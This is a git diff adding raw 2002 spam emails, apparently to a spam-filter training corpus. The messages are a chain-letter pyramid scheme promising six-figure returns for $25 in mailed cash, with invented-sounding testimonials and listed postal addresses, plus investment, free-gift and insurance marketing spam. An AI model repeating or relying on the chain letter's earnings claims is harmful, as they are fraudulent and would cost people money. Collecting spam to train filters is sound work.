    +If you received this in error or would like to be removed from our list, please return us indicating: remove or un-subscribe in 'subject' field, Thanks. Editor
    +© 2002 The Financial News. All rights reserved.
    +
    +     + + + +--=_NextPart_2rfkindysadvnqw3nerasdf-- + diff --git a/bayes/spamham/spam_2/00278.72994f6280bfb4ecaad81592dc31f0d3 b/bayes/spamham/spam_2/00278.72994f6280bfb4ecaad81592dc31f0d3 new file mode 100644 index 0000000..19669cc --- /dev/null +++ b/bayes/spamham/spam_2/00278.72994f6280bfb4ecaad81592dc31f0d3 @@ -0,0 +1,404 @@ +From group5_0510261386@erols.com Mon Jun 24 17:03:29 2002 +Return-Path: social-admin@linux.ie +Delivery-Date: Mon May 13 13:26:02 2002 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4DCQ1e01424 for + ; Mon, 13 May 2002 13:26:02 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA09926; Mon, 13 May 2002 13:25:43 +0100 +Received: from 4fdom.interfoliokr.com ([211.192.255.130]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id NAA09842 for ; + Mon, 13 May 2002 13:25:00 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [211.192.255.130] claimed + to be 4fdom.interfoliokr.com +Received: from smtp0391.mail.yahoo.com ([64.50.56.112]) by + 4fdom.interfoliokr.com with Microsoft SMTPSVC(5.0.2195.2966); + Mon, 13 May 2002 06:00:49 +0900 +From: group5_0510261386@erols.com +To: social@linux.ie +Cc: 115342.2765@compuserve.com, dempwolf@msn.com +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Sun, 12 May 2002 04:33:28 -0500 +Message-Id: <4FDOMLk6wb55w93r5dn0000ad56@4fdom.interfoliokr.com> +X-Originalarrivaltime: 12 May 2002 21:00:49.0852 (UTC) FILETIME=[185517C0:01C1F9F8] +Subject: [ILUG-Social] RE: Take The Steps To Wealth For $25. Do It NOW 26138654332222 +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie +X-Keywords: + +Updated May 9, 2002 ... + +READ THIS! YOU'LL BE HAPPY YOU DID! + + A recent survey by Nielsen/Netratings says that "The Internet +population is rapidly approaching a 'Half a Billion' People!" + +SO WHAT DOES ALL THIS MEAN TO YOU? + +Let's assume that every person has 'only' one E-mail address. +That's 500 million potential customers and growing! In addition, + + "E-mail is without question the most powerful + method of distributing information on earth" + +Well, I think you get the picture. The numbers and potential are +just staggering, but it gets even better ... + +START YOUR OWN E-MAIL BUSINESS TODAY & ENJOY +THE FOLLOWING BENEFITS: +********************************************************* +1. ALL CUSTOMERS PAY YOU IN CASH +2. YOU WILL SELL A PRODUCT WHICH COSTS NOTHING TO PRODUCE +3. YOUR ONLY MAJOR OVERHEAD IS YOUR TIME +4. YOU HAVE 100s OF MILLIONS OF POTENTIAL CUSTOMERS +5. YOU GET DETAILED, EASY TO FOLLOW STARTUP INSTRUCTIONS +******************************************************** + +AND THIS IS JUST THE TIP OF THE ICEBERG ... +As you read on you'll discover how a 'Seen on National TV' +program is paying out excellent returns, every 4 to 5 months +from your home, for a minimal initial startup investment of +only $25 US Dollars. ALL THANKS TO THE COMPUTER AGE +AND THE INTERNET! + +This is the letter you have been hearing a lot about recently. +Due to the popularity of this letter on the Internet, a national +weekly news program recently devoted an entire show to the +investigation of this program described below, to see if it really +can make people money. + +This is what one had to say: '' Thanks to this profitable +opportunity. I was approached many times before but each time +I passed on it. I am so glad I finally joined just to see what +one could expect in return for the minimal effort and money +required. To my astonishment, I received a 6 figure income +in 21 weeks, with money still coming in''. +Pam Hedland, Fort Lee, New Jersey. + +===================================================================== +Here is another testimonial: '' this program has been around for +a long time but I never believed in it. But one day when I received +this again in the mail I decided to gamble my $25 on it. I followed +the simple instructions and walaa ..... 3 weeks later the money +started to come in. First month I only made a small amount of money, +but the next 2 months after that I made a total of a good 6 figures. +So far, in the past 8 months by re-entering the program, I have made +a lot more and I am playing it again. The key to success in this +program is to follow the simple steps and NOT change anything.'' + +===================================================================== +More testimonials later but first: + +*****PRINT THIS NOW FOR YOUR FUTURE REFERENCE & FOLLOW THESE +SIMPLE INSTRUCTIONS TO MAKE YOUR FINANCIAL DREAMS TRUE! ***** + +INSTRUCTIONS: +============ +**** Order all 5 reports shown on the list below. + +**** For each report, send $5 U.S. CASH, THE NAME & NUMBER +OF THE REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS to +the person whose name appears ON THAT LIST next to the report. + + MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE + TOP LEFT CORNER in case of any mail problems. + + **** When you place your order, make sure + you order each of the 5 reports **** + +You will need all 5 reports so that you can save them on your +computer and resell them. + +YOUR UP-FRONT COST is ONLY $5 X 5 = $25.00. + +*********Within a few days you will receive, via e-mail, each +of the 5 reports from these 5 different individuals. Save +them on your computer so they will be accessible for you to +send to the 1,000's of people who may order from you. +Also make a floppy of these reports and keep it at your desk +in case something happens to your computer. + +**********IMPORTANT - DO NOT alter the names of the people +who are listed next to each report, or their sequence on the +list, in any way other than what is instructed below in steps +1 through 6 or you will loose out on majority of your profits. +Once you understand the way this works, you will also see how +it does not work if you change it. + +Remember, this method has been tested, and if you alter, +it will NOT work! People have tried to put their friends/relatives +names on all five thinking they could get all the money. But it +does not work this way. Believe us, we all have tried to be greedy +and then nothing happened. + +So do not try to change anything other than what is instructed. +Because if you do, it will not work for you. Remember, +honesty reaps the reward!!! + +1. After you have ordered all 5 reports, take this +advertisement and REMOVE the name & address of the person in +REPORT # 5. This person has made it through the cycle and is +no doubt counting their money. + +2. Move the name & address in REPORT # 4 down TO REPORT # 5. +3. Move the name & address in REPORT # 3 down TO REPORT # 4. +4. Move the name & address in REPORT # 2 down TO REPORT # 3. +5. Move the name & address in REPORT # 1 down TO REPORT # 2. +6. Insert YOUR name & address in the REPORT # 1 Position. + +PLEASE MAKE SURE you copy every name & address ACCURATELY! +========================================================= + +Take this entire letter, with the modified list of names, +and save it on your computer. DO NOT MAKE ANY OTHER CHANGES. +Save this on a disk as well just in case if you loose any +data. + +To assist you with marketing your business on the Internet, +the 5 reports you purchase will provide you with invaluable +marketing information that includes: How to send bulk e-mails +legally, Where to find thousands of free classified ads and +much, much more. + +There are 2 Primary methods to get this venture going: + + METHOD # 1: SENDING BULK E-MAIL LEGALLY + ======================================= +Let's say that you decide to start small, just to see how +it goes, and we will assume you and those involved send out +only 5,000 e-mails each. Let's also assume that the mailing +receive only a 0.2% response (the response could be much +better but lets just say it is only 0.2%. Also, many people +may send out hundreds of thousands e-mails instead of only +5,000 each). + +Continuing with this example, you send out only 5,000 e-mails. +With a 0.2% response, that is only 10 orders for report #1. +Those 10 people responded by sending out 5,000 e-mail each +for a total of 50,000. Out of those 50,000 e-mails only 0.2% +responded with orders. That's = 100 people responded and +ordered Report #2. Those 100 people mail out 5,000 e-mails +each for a total of 500,000 e-mails. The 0.2% response to +that is 1000 orders for Report #3. + +Those 1000 people send out 5,000 e-mails each for a total of +5 million e-mails sent out. The 0.2% response to that is +10,000 orders for Report #4. Those 10,000 people send out +5,000 e-mails each for a total of 50,000,000 (50 million) +Emails. The 0.2% response to that is 100,000 orders for +Report #5. + +THAT'S 100,000 ORDERS TIMES $5 EACH = $500,000.00 (a half +million). + + Your total income in this example is: + 1..... $50 + + 2..... $500 + + 3..... $5,000 + + 4..... $50,000 + + 5..... $500,000 ......... Grand Total = $555,550.00 + + NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE OUT + THE WORST POSSIBLE RESPONSES AND NO MATTER HOW YOU + CALCULATE IT, YOU CAN STILL MAKE MONEY! +----------------------------------------------------------- + REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE + ORDERING OUT OF 5,000 PEOPLE YOU MAILED. + +Dare to think for a moment what would happen if everyone, +or 1/2, or even one 1/5 of those people mailed 100,000 e-mails +each or more? There are over 500 million people on the +Internet worldwide and counting. Believe me, many people +may do just that, and more! + + METHOD # 2: PLACING FREE ADS ON THE INTERNET + =================================================== +Advertising on the net is very, very inexpensive and there +are hundreds of FREE places to advertise. Placing a lot of +free ads on the Internet can easily get a larger response. +We strongly suggest you start with Method # 1 and add METHOD +# 2 as you go along. + +For every $5 you receive, all you must do is e-mail them the +Report they ordered. That's it! Always provide same day +service on all orders. This will guarantee that the emails +they send out, with your name and address on it, will be +prompt because they can not advertise until they receive the +report. + + ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. + +Note: Always send $5 cash (U.S. CURRENCY) for each Report. +Checks or money orders are NOT accepted. Make sure the cash +is wrapped in at least 2 sheets of paper before you put it in +the envelope. On one of those sheets of paper, write the NUMBER +and the NAME of the Report you are ordering, your email ADDRESS, +your NAME and postal address. Make sure you affix proper +'International' Postage if ordering a report from outside your +country. + +PLACE YOUR ORDER FOR THESE REPORTS NOW: +============================================================= + + +Report 1: The Insider's Guide To Advertising for Free On +The Net ... Order from: +P. Hynes +6461 Mayfield Rd +Brampton, ON +Canada +L6T 3Z8 + +Report 2: The insiders Guide To Sending Bulk E-mail On The Net +... Order from: +Lynn Asbill +9400 Bluebonnet Dr +Scurry, TX +75158 +USA + +Report 3: Secret To Multilevel Marketing On The Net +... Order from: +Greg Grant +Po Box 385 +Wilberforce, ON +Canada +K0L 3C0 + +Report 4: How To Become A Millionaire Using MLM & The Net +... Order from: +LW +50 Burnhamthorpe Rd W Suite 401 +Mississauga, ON +Canada +L5B 3C2 + +Report 5: How To Send Out One Million Emails & Jump Start Your +Business ... Order from: +BDM Consulting +PO Box 890 +Orem, UT +84059 +USA +============================================================= + +There are currently almost 500,000,000 people online +worldwide! + + $$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$ + +Follow these guidelines to guarantee your success: +************************************************* +If you do not receive at least 10 orders for Report #1 within +2 weeks, continue sending e-mails until you do. + +After you have received 10 orders, 2 to 3 weeks after that +you should receive 100 orders or more for Report #2. If you +did not, continue advertising or sending e-mails until you do. + +Once you have received 100 or more orders for Report #2, YOU +CAN RELAX, because the system is already working for you! + +THIS IS IMPORTANT TO REMEMBER: Every time your name is moved +down on the list, you are placed in front of a different report. + +You can KEEP TRACK of your PROGRESS by watching which report +people are ordering from you. + + IF YOU WANT TO GENERATE MORE INCOME SEND ANOTHER BATCH OF +E-MAILS AND START THE WHOLE PROCESS AGAIN!!! + ____________________________________________________ + + FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM: + +Follow the program EXACTLY AS INSTRUCTED. Do not change it +in any way. It works exceedingly well as it is now. +Remember to e-mail a copy of this exciting report after you +have put your name and address in Report #1 and moved others +to #2...........# 5 as instructed above. One of the people +you send this to may send out 100,000 or more e-mails and your +name will be on every one of them. Remember though, the more +you send out the more potential customers you will reach. + +So my friend, I have given you the ideas, information, +materials and opportunity .... IT IS UP TO YOU NOW! + +==================== MORE TESTIMONIALS====================== + +'' My name is Mitchell. My wife, Jody and I live in Chicago. +I am an accountant with a major U.S. Corporation and I make +pretty good money. When I received this program I grumbled +to Jody about receiving ''junk mail''. I made fun of the +whole thing, spouting my knowledge of the population and +percentages involved. I ''knew'' it wouldn't work. Jody +totally ignored my supposed intelligence and few days later +she jumped in with both feet. I made merciless fun of her, +and was ready to lay the old ''I told you so'' on her when +the thing didn't work. Well, the laugh was on me! Within +3 weeks she had received 50 responses within the next 45 days +she had so many orders and ... all cash! I was shocked. I +have joined Jody in her ''hobby''. +Mitchell Wolf M.D., Chicago, Illinois +=============================================================== + +'' Not being the gambling type, it took me several weeks to make +up my mind to participate in this plan. But conservative that +I am, I decided that the initial investment was so little that +there was just no way that I wouldn't get enough orders to at +least get my money back''. '' I was surprised when I found my +medium size post office box crammed with orders. I made a large +6 figure income in the first 12 weeks. The nice thing about this +deal is that it does not matter where people live. There simply +isn't a better investment with a faster return and so big''. +Dan +Sondstrom, Alberta, +Canada +================================================================ + +'' I had received this program before. I deleted it, but later +I wondered if I should have given it a try. Of course, I had no +idea who to contact to get another copy, so I had to wait until +I was e-mailed again by someone else ........ 11 months passed +then it luckily came again ...... I did not delete this one! I +made a six figure income on my first try and all the money came +within 22 weeks''. +Susan De Suza, New York, N.Y. +================================================================ + +'' It really is a great opportunity to make relatively easy money +with little cost to you. I followed the simple instructions +carefully and within 10 days the money started to come in. My +first month I made a substantial income and by the end of the +third month my total cash count was a healthy 6 figure income. +Life is beautiful, Thanks to internet''. +Fred Dellaca, Westport, New Zealand + +================================================================ +ORDER YOUR REPORTS TODAY AND GET STARTED ON +YOUR ROAD TO GENERATING EXTRA INCOME! +================================================================ + +Disclaimer: +The sender or participants of this marketing program cannot +verify any monetary claims made in this document, nor do they +assume responsibility for same. As with any business you have +the risk of loss. No "guarantee" can be made as to the amount +of money you will make, or the benefits you may receive with +this program. This is NOT a Chain Letter. We advertise the +sale of information and a legal business of reselling that +information. If you have any doubts, please consult your +attorney. +========================================================== + + BEST OF LUCK IN YOUR NEW BUSINESS VENTURE!! +26138654332222 + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie diff --git a/bayes/spamham/spam_2/00279.d3516102dd7d49480923c6cf3252a216 b/bayes/spamham/spam_2/00279.d3516102dd7d49480923c6cf3252a216 new file mode 100644 index 0000000..f2e0d12 --- /dev/null +++ b/bayes/spamham/spam_2/00279.d3516102dd7d49480923c6cf3252a216 @@ -0,0 +1,113 @@ +From newsletters@the-financial-news.com Mon Jun 24 17:03:16 2002 +Return-Path: newsletters@the-financial-news.com +Delivery-Date: Sun May 12 12:28:25 2002 +Received: from wtnserver (80-25-218-178.uc.nombres.ttd.es [80.25.218.178]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4CBSMe10393 for + ; Sun, 12 May 2002 12:28:23 +0100 +Received: from EI2 by wtnserver with SMTP (MDaemon.v3.1.2.R) for + ; Sun, 12 May 2002 13:21:37 +0200 +From: "The Financial News" +Subject: Production Mini-plants in mobile containers. Co-investment Program +To: zban@taint.org +MIME-Version: 1.0 +Date: Sun, 12 May 2002 13:19:21 +0200 +X-Priority: 3 +X-Library: Indy 8.0.22 +X-MDRCPT-To: zban@taint.org +X-Return-Path: newsletters@the-financial-news.com +X-Mdaemon-Deliver-To: zban@taint.org +Reply-To: newsletters@the-financial-news.com +Message-Id: +X-Keywords: +Content-Type: multipart/alternative; boundary="=_NextPart_2rfkindysadvnqw3nerasdf"; + +This is a multi-part message in MIME format + +--=_NextPart_2rfkindysadvnqw3nerasdf +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + +The Financial News, May 2002 + +Production Mini-plants in mobile containers. Co-investment Program + +=22...Science Network will supply to countries and developing regions the technology and the necessary support for the production in series of Mini-plants in mobile=20containers (40-foot). The Mini-plant system is designed in such a way that all the production machinery is fixed on the platform of the container, with all wiring,=20piping, and installation parts; that is to say, they are fully equipped... and the mini-plant is ready for production.=22 + +More than 700 portable production systems: Bakeries, Steel Nails, Welding Electrodes, Tire Retreading, Reinforcement Bar Bending for Construction Framework,=20Sheeting for Roofing, Ceilings and Fa=E7ades, Plated Drums, Aluminum Buckets, Injected Polypropylene Housewares, Pressed Melamine Items (Glasses, Cups,=20Plates, Mugs, etc.), Mufflers, Construction Electrically Welded Mesh, Plastic Bags and Packaging, Mobile units of medical assistance, Sanitary Material,=20Hypodermic Syringes, Hemostatic Clamps, etc.=20 +Science Network has started a process of Co-investment for the installation of small Assembly plants to manufacture in series the Mini-plants of portable=20production on the site, region or country where they may be required. One of the most relevant features is the fact that these plants will be connected to the World=20Trade System (WTS) with access to more than 50 million raw materials, products and services and automatic transactions for world trade. + +Because of financial reasons, involving cost and social impact, the right thing to do is to set up assembly plants in the same countries and regions, using local=20resources (labor, some equipment, etc.) + +For more information: Mini-plants in mobile containers + +By Steven P. Leibacher, The Financial News, Editor + + +Mini-plantas de produccion en contenedores moviles. Programa de Co-inversion + +=22...Science Network suministrara a paises y regiones en vias de desarrollo la tecnologia y el apoyo necesario para la fabricacion en serie de Mini-plantas de=20produccion en contenedores moviles (40-foot). El sistema de mini-plantas esta dise=F1ado de forma que todas las maquinas de produccion van instaladas fijas=20sobre la propia plataforma del contenedor, con el cableado, tuberias e instalaciones; es decir, completamente equipadas... y a partir de ese momento est=E1n listas=20para producir.=22=20 +Mas de 700 sistemas de produccion portatil: Panaderias, Producci=F3n de clavos de acero, Electrodos para soldadura, Recauchutado de neumaticos, Curvado de=20hierro para armaduras de construccion, Lamina perfilada para cubiertas, techos y cerramientos de fachada, Bidones de chapa, Cubos de aluminio, Menaje de=20polipropileno inyectado, Piezas de melamina prensada (vasos, platos, tazas, cafeteras, etc.) Silenciadores para vehiculos, Malla electrosoldada para la=20construccion, Bolsas y envases de plastico, Unidades moviles de asistencia medica, Material sanitario (jeringas hipodermicas, Pinzas hemostaticas, etc.) + +Science Network ha puesto en marcha un proceso de Co-inversion para la instalacion de peque=F1as Plantas ensambladoras para fabricar en serie las Mini-plantas=20de produccion portatil, en el lugar, region o pais que lo necesite. Una de las caracter=EDsticas relevantes es el hecho de que dichas plantas quedaran conectadas al=20Sistema del Comercio Mundial (WTS) con acceso a mas de 50 millones de mercancias, materia primas, productos, servicios y las operaciones automaticas de=20comercio internacional.=20 +Resulta obvio que por razones economicas, de costes y de impacto social, lo apropiado es instalar plantas ensambladoras en los mismos paises y regiones asi=20como utilizar los recursos locales (mano de obra, ciertos equipamientos, etc.) + +Para recibir mas infromacion: Mini-plantas de produccion en contenedores moviles + +Steven P. Leibacher, The Financial News, Editor + +------------------------------------------------------------------------- +If you received this in error or would like to be removed from our list, please return us indicating: remove or un-subscribe in 'subject' field, Thanks. Editor +=A9 2002 The Financial News. All rights reserved. + +--=_NextPart_2rfkindysadvnqw3nerasdf +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + +
    +The Financial News, May 2002
    +
    +Production Mini-plants in mobile containers. Co-investment Program
    +
    +=22...Science Network will supply to countries and developing regions the technology and the necessary support for the production in series of Mini-plants in mobile containers (40-foot). The Mini-plant system is designed in such a way that all the production machinery is fixed on the platform of the container, with all wiring, piping, and installation parts; that is to say, they are fully equipped... and the mini-plant is ready for production.=22
    +
    +More than 700 portable production systems: Bakeries, Steel Nails, Welding Electrodes, Tire Retreading, Reinforcement Bar Bending for Construction Framework, Sheeting for Roofing, Ceilings and Façades, Plated Drums, Aluminum Buckets, Injected Polypropylene Housewares, Pressed Melamine Items (Glasses, Cups, Plates, Mugs, etc.), Mufflers, Construction Electrically Welded Mesh, Plastic Bags and Packaging, Mobile units of medical assistance, Sanitary Material, Hypodermic Syringes, Hemostatic Clamps, etc.
    +
    +Science Network has started a process of Co-investment for the installation of small Assembly plants to manufacture in series the Mini-plants of portable production on the site, region or country where they may be required. One of the most relevant features is the fact that these plants will be connected to the World Trade System (WTS) with access to more than 50 million raw materials, products and services and automatic transactions for world trade.
    +
    +Because of financial reasons, involving cost and social impact, the right thing to do is to set up assembly plants in the same countries and regions, using local resources (labor, some equipment, etc.)
    +
    +For more information: Mini-plants in mobile containers
    +
    +By Steven P. Leibacher, The Financial News, Editor
    +
    +
    +Mini-plantas de produccion en contenedores moviles. Programa de Co-inversion
    +
    +    =22...Science Network suministrara a paises y regiones en vias de desarrollo la tecnologia y el apoyo necesario para la fabricacion en serie de Mini-plantas de produccion en contenedores moviles (40-foot). El sistema de mini-plantas esta diseñado de forma que todas las maquinas de produccion van instaladas fijas sobre la propia plataforma del contenedor, con el cableado, tuberias e instalaciones; es decir, completamente equipadas... y a partir de ese momento están listas para producir.=22
    +
    +Mas de 700 sistemas de produccion portatil: Panaderias, Producción de clavos de acero, Electrodos para soldadura, Recauchutado de neumaticos, Curvado de hierro para armaduras de construccion, Lamina perfilada para cubiertas, techos y cerramientos de fachada, Bidones de chapa, Cubos de aluminio, Menaje de polipropileno inyectado, Piezas de melamina prensada (vasos, platos, tazas, cafeteras, etc.) Silenciadores para vehiculos, Malla electrosoldada para la construccion, Bolsas y envases de plastico, Unidades moviles de asistencia medica, Material sanitario (jeringas hipodermicas, Pinzas hemostaticas, etc.)
    +
    +Science Network ha puesto en marcha un proceso de Co-inversion para la instalacion de pequeñas Plantas ensambladoras para fabricar en serie las Mini-plantas de produccion portatil, en el lugar, region o pais que lo necesite. Una de las características relevantes es el hecho de que dichas plantas quedaran conectadas al Sistema del Comercio Mundial (WTS) con acceso a mas de 50 millones de mercancias, materia primas, productos, servicios y las operaciones automaticas de comercio internacional.
    +
    +Resulta obvio que por razones economicas, de costes y de impacto social, lo apropiado es instalar plantas ensambladoras en los mismos paises y regiones asi como utilizar los recursos locales (mano de obra, ciertos equipamientos, etc.)
    +
    +Para recibir mas infromacion: Mini-plantas de produccion en contenedores moviles
    +
    +Steven P. Leibacher, The Financial News, Editor
    +
    +-------------------------------------------------------------------------
    +If you received this in error or would like to be removed from our list, please return us indicating: remove or un-subscribe in 'subject' field, Thanks. Editor
    +© 2002 The Financial News. All rights reserved.
    +
    +     + + + +--=_NextPart_2rfkindysadvnqw3nerasdf-- + diff --git a/bayes/spamham/spam_2/00280.3432009813aa8a8683c72ad31ce7e0e0 b/bayes/spamham/spam_2/00280.3432009813aa8a8683c72ad31ce7e0e0 new file mode 100644 index 0000000..d0d3084 --- /dev/null +++ b/bayes/spamham/spam_2/00280.3432009813aa8a8683c72ad31ce7e0e0 @@ -0,0 +1,344 @@ +From storemanager2276@msn.com Mon Jun 24 17:03:17 2002 +Return-Path: JHGM@attbi.COM +Delivery-Date: Sun May 12 14:54:08 2002 +Received: from rwcrmhc54.attbi.com (rwcrmhc54.attbi.com [216.148.227.87]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4CDs6e14327 for + ; Sun, 12 May 2002 14:54:07 +0100 +Received: from c2235544-a ([12.245.142.206]) by rwcrmhc54.attbi.com + (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id + <20020512135359.SUFM25765.rwcrmhc54.attbi.com@c2235544-a> for + ; Sun, 12 May 2002 13:53:59 +0000 +Message-Id: <41133-220025012135223220@c2235544-a> +Return-Receipt-To: storemanager2276@msn.com +Reply-To: "Bob Johnson" +Errors-To: JOHNSONHOMESTOR1@msn.com +From: "Bob Johnson" +Organization: JOHNSON HOME PRODUCTS & SERVICES +Disposition-Notification-To: storemanager2276@msn.com +To: "yyyy@spamassassin.taint.org" +Subject: Wishing you a wonderful day +Date: Sun, 12 May 2002 09:52:23 -0400 +MIME-Version: 1.0 +X-Keywords: +Content-Type: multipart/alternative; boundary="----=_NextPart_84815C5ABAF209EF376268C8" +X-ExmhMDN: ignored + +------=_NextPart_84815C5ABAF209EF376268C8 +Content-type: text/plain; charset=windows-1252 +Content-Transfer-Encoding: quoted-printable + + + +Welcome to Johnson Home Products & Services +http://www=2Ejohnsonhome2276=2Ecom + +YOUR COMPLIMENTARY GIFT From Johnson Home P & S Register TODAY! if haven't= + already=2E +Hurry while supplies Last=2E Free Gift Offer at my expense=2E +http://home=2Eattbi=2Ecom/~johnsonhomestor1/YOUR_COMPLIMENTARY_GIFT=2Ehtx + + + + +------=_NextPart_84815C5ABAF209EF376268C8 +Content-Type: text/html; charset=windows-1252 +Content-Transfer-Encoding: quoted-printable + + +welcome letter + + +
    Welcome to Johnson +Home Products & Services J=2EH +p&s
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    + To begin an Relationship with Potential customers, and to earn +your Trust, I am offering you a Complimentary Gift=2E Sent you at my expen= +se=2E Just for +registering with J=2EH p&s online store=2E There is no fees to registe= +r=2E
    +There no catch , simple register with my online store and I will send you = +one free gift out of the choices that are available=2E +
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    +

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    +

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    +     +Please click on to read
    + about ordering,Through The mail, Fax orders, Paypal, and From +J=2EH p&s online Store=2E
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    +our Policies on Products & Services
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    + The following are some of the services I am offering and seeking +new one to add
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    +3D +Please click on to receive your 3 day free trial offer of +advertising=2E
    +After the 3 days are over you have the option to buy the service Plus for = +only $4=2E95 +
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    +Please Click on to ad your link to our FFa Site=2E
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    +Learn about Selling on ebay and making money online=2E
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    + A topic we can all learn and grow From=2E
    +
    + + + +
    +=09=09=09=09=09
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    + + +
    Under Bill s=2E1618 TITLE III passed by= + the 105th US Congress, this letter=20 +cannot be considered "Spam" as long as the sender includes contact=20 +information & a method of "removal"=2E
    Click me on to= + click you off my email list Please Type "Remove Me " in the subject area = +of your email=2E +

    +Wishing you a Great Week! +
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    +     + + + diff --git a/bayes/spamham/spam_2/00284.227c1ebb961320cd2086d904d698c49b b/bayes/spamham/spam_2/00284.227c1ebb961320cd2086d904d698c49b new file mode 100644 index 0000000..226fc2d --- /dev/null +++ b/bayes/spamham/spam_2/00284.227c1ebb961320cd2086d904d698c49b @@ -0,0 +1,446 @@ +From roster@insurancemail.net Mon Jun 24 17:03:21 2002 +Return-Path: roster@insurancemail.net +Delivery-Date: Sun May 12 21:38:21 2002 +Received: from insurance-mail.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id g4CKcKe26228 for ; Sun, 12 May 2002 21:38:21 + +0100 +Received: from mail pickup service by insurance-mail.insuranceiq.com with + Microsoft SMTPSVC; Sun, 12 May 2002 16:37:58 -0400 +Subject: Z-app Your Term Life Business +To: +Date: Sun, 12 May 2002 16:37:58 -0400 +From: "Roster Financial" +Message-Id: <1f44601c1f9f4$e7131b10$6701a8c0@insuranceiq.com> +MIME-Version: 1.0 +X-Mailer: Microsoft CDO for Windows 2000 +Thread-Index: AcH535nxtsgH+Xq/TVeZOnZ0vKRQww== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 12 May 2002 20:37:58.0942 (UTC) FILETIME=[E734D3E0:01C1F9F4] +X-Keywords: +Content-Type: multipart/alternative; boundary="----=_NextPart_000_0007_01C1F9BE.12E451A0" + +This is a multi-part message in MIME format. + +------=_NextPart_000_0007_01C1F9BE.12E451A0 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit + + Produce More in Less Time! ...with help from Roster Financial LLC and +Zurich Life + Z-app Your Term Life Business Z-app Your Term Life Business + +Z-app is the easy, fast, paperless way for agents to use Zurich Life's +TeleLifeTM pre-application process. In just a few simple, quick steps, +this Internet-based process can help you build more business. + +While other agents are just beginning to mail in their applications, +your Z-app will already be in process at our Home Office. It's just one +more example of the competitive edge you can count on getting with +Zurich Life. + + +? Eliminates your paperwork + + +? Avoids delays by ensuring that all information submitted is +correct and complete +? Potentially cuts days out of the application process + +? Increases your clients' satisfaction with improved ease, +accuracyand speed +? Helps you deliver policies faster, to Zapp the competition + + + + +NEW LOWER RATES! +20-Year Certain-T 2002 +20-Yr Annual Gntd Premium* +$250,00 Face Amount +Premier Rate Class (Non-Tobacco) AGE +35 +45 +55 MALE +$170 +$390 +$893 FEMALE +$150 +$290 +$630 + + +Don't delay! Call or e-mail +us Today! + +? or ? + +Please fill out the form below for more information +Name: +E-mail: +Phone: +City: State: + + + + Roster Financial Services, LLC + + +Not for use with the general public. For agent use only. Not approved in +all states. +Certain-T 20-year is non-participating term life insurance to age 95, +policy form S-3224, underwritten by Federal Kemper Life Assurance +Company (FKLA), a Zurich Life Company, Schaumburg, IL 60196-6801. +Premier means no tobacco use of any kind in the past 60 months. Premiums +include the annual policy fee; $50.00. Suicide and other limits may +apply. Forms and policy provisions vary by state. Policy not available +in all states. Companion policies not available in NJ. + +We don't want anyone to receive our mailings who does not wish to. This +is professional communication sent to insurance professionals. To be +removed from this mailing list, DO NOT REPLY to this message. +Instead, go here: http://www.Insurancemail.net + +Legal Notice + +------=_NextPart_000_0007_01C1F9BE.12E451A0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +Z-app Your Term Life Business + + + + + =20 + + + =20 + + +
    =20 + + =20 + + + =20 + + + =20 + + + =20 + + + =20 + + +
    =20 + + =20 + + + =20 + + + =20 + + + +
    3D'Produce
    3D'Z-app3D'Z-app
    =20 + + =20 + + + =20 + + + =20 + + + =20 + + +
     
    + Z-app is the easy, fast, paperless way = +for agents to use Zurich=20 + Life's TeleLifeTM pre-application = +process.=20 + In just a few simple, quick steps, this = +Internet-based=20 + process can help you build more = +business. +
    + While other agents are just beginning to mail in = +their applications,=20 + your Z-app will already be in process at = +our Home=20 + Office. It's just one more example of the = +competitive=20 + edge you can count on getting with Zurich = +Life.
    +     +
    + =20 + + =20 + + + =20 + + + + + =20 + + + + + =20 + + + + + =20 + + + + + =20 + + + + + =20 + + +
    • =20 +

    Eliminates your paperwork

    +     		 
    •  + Avoids delays by ensuring that all information = +submitted is correct and complete +  
    •  + Potentially cuts days out of the application = +process +  
    •  + Increases your clients' satisfaction with = +improved ease, accuracyand speed=20 +  
    •  + Helps you deliver policies faster, to Zapp the = +competition +  
    +     =20 +
    +
     
    =20 + + =20 + + + =20 + + + + + + + =20 + + +
    NEW LOWER = +RATES!
    + 20-Year Certain-T = +2002
    + 20-Yr Annual Gntd Premium*
    + $250,00 Face Amount
    + Premier Rate Class (Non-Tobacco)     +     		+ AGE
    + 35
    + 45
    + 55         +     		+ MALE
    + $170
    + $390
    + $893     +     		+ FEMALE
    + $150
    + $290
    + $630     +     		 
    +     =20 +
     
    + Don't delay! Call or e-mail us = +Today!
    +
    + — or —
    + + =20 + + + + + +
    =20 + + =20 + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + + + + =20 + + + + + +
